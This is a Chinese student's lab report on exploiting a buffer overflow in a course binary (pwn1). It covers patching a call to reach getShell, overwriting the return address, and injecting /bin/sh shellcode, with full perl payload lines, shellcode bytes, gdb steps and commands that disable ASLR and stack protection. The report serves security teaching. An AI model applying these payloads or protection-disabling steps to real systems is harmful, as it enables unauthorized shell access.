一、实践目标
1.本次实践的对象是一个名为20154330(原为pwn1)的linux可执行文件。
2.该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
3.该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
二、实践内容
1.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
2.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
3.注入一个shellcode并运行这段shellcode。
三、实践知识
1.熟悉Linux基本操作。
能看懂常用指令,如管道(|),输入、输出重定向(>)等。
2.理解Bof的原理。
能看得懂汇编、机器指令、EIP、指令地址。
3.会使用gdb,vi。
4.堆栈结构,返回地址,理解攻击缓冲区的结果,掌握返回地址的获取,掌握ELF文件格式,掌握动态技术。
四、实践步骤
1.1 将可执行文件pwn1复制另存为文件名为学号20154330的文件。
1.2使用objdump -d 20154330 | more命令查看目标文件20154330的反汇编代码。可看到main函数在第80484b5行出call 8048491处调用执行foo函数,对应机器码为e8 d7 ff ff ff
想要使main函数在此处改为跳转执行getshell函数,修改d7为c3即可( “d7ffffff”是补码,表示-41,41 = 0x29 ,80484ba + d7ffffff = 80484ba - 0x29 正好是8048491这个值。)
1.3输入vi指令打开为二进制文档,再输入:%!xxd指令,查看其十六进制格式。输入/e8 7d查找,并将其修改为c3,后输入:%!xxd -r转换16进制为原格式,然后输入/wq保存并退出。
运行修改后的文件,成功执行getshell,再用反汇编指令查看其机器码,不难发现此时已经改变了原代码
2.1通过构造输入参数,造成BOF攻击,改变程序执行流
由1.2图中可看出,main主函数会调用foo函数,我们将实现main主函数调用getshell函数,并得到getshell函数的地址为“0804847d”。
接下来确认缓冲区大小,溢出的部分将会覆盖到返回地址,cpu会尝试执行该部分代码,我们只需要调试出输入多少字符会溢出以及溢出字符的输入输出顺序,即输入字符串后吗,哪几个字符会覆盖到返回地址。把该溢出部分的数字对应上getshell的地址,cpu就会执行getshell。通过gdb进行调试,确认多少字符之后能覆盖以及覆盖到什么位置。
我们输入0000000011111111222222223333333344444444进行尝试。
可以看出在eip寄存器内显示的16进制为34343434,可知为4,则我们再次输入0000000011111111222222223333333312345678
可以由图中看出,1234为溢出字符,且存储为倒序。
2.2倒序输入getshell的内存地址
即“11111111222222223333333344444444\x7d\x84\x04\x08”,其中“\x0a”表示回车
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
并用16进制查看指令xxd,查看input文件的内容
xxd input
2.3将input的输入,通过管道符“|”,作为20154330的输入,并查看效果。
3.1注入Shellcode并执行
准备一段Shellcode
shellcode就是一段机器指令,我们这里使用的shellcode是文章“Shellcode”入门中生成的shellcode。
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
安装execstack软件apt-get install execstack
设置堆栈可执行execstack -s 20154330
查询文件的堆栈是否可执行.execstack -q 20154330
检测地址随机化状态more /proc/sys/kernel/randomize_va_space
关闭地址随机化echo "0" > /proc/sys/kernel/randomize_va_space
检测地址随机化状态more /proc/sys/kernel/randomize_va_space
如图所示,已完成设置,X表示文件的堆栈可执行,0表示地址随机化。(这里我之前改了后来又做了一遍,截图截得是第二次)
3.2和之前一样,我们把输入的字串放入input_shellcode文件里
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
其中,最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。
注意:最后一个字符不能是\x0a,即回车!
3.3打开一个终端注入这段语句
(cat input_shellcode;cat) | ./20154330
特别注意:只需要按一次回车就行了!
3.4打开另一个终端进行调试
1.查看进程号为:4531
ps -ef | grep 20154330
2.启动gdb进行调试
-gdb
-attach 4531
3.5在gdb模式下设置断点,来查看注入buf的内存地址。
disassemble foo
可以看到,会断在080484ae,ret完,就跳到我们覆盖的retaddr的位置了。
3.6设置断点后回到另一个终端,按一下回车后再回到该终端进行调试。
-break *0x080484ae
-c
3.7先找到ESP的地址,再根据ESP的地址找到shellcode的地址。
x/16x 0xffffd39c
如图,找到了shellcode的起始位置90909090,以及1234所在的位置,\x1\x2\x3\x4应该紧挨着shellcode,所以shellcode的位置应该是0xffffd3a0。
退出gdb模式后,将shellcode写进去
perl -e 'print "A" x 32;print "\xa0\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode
(cat input_shellcode;cat) | ./20154330
如图所示,注入攻击成功。
五、实践体会
自己电脑不知道为什么装不了卡里,自己尝试了很多种方法和版本,都是一样的结果,用了同学的电脑做出来了正确的结果。第一次使用Linux系统对文件进行操作,虽然看着只有几个命令行,但自己实践起来却是各种问题,如输入命令时少输入一个字符空格。实践中最为重要的是明白自己要完成什么任务,以及如何去完成。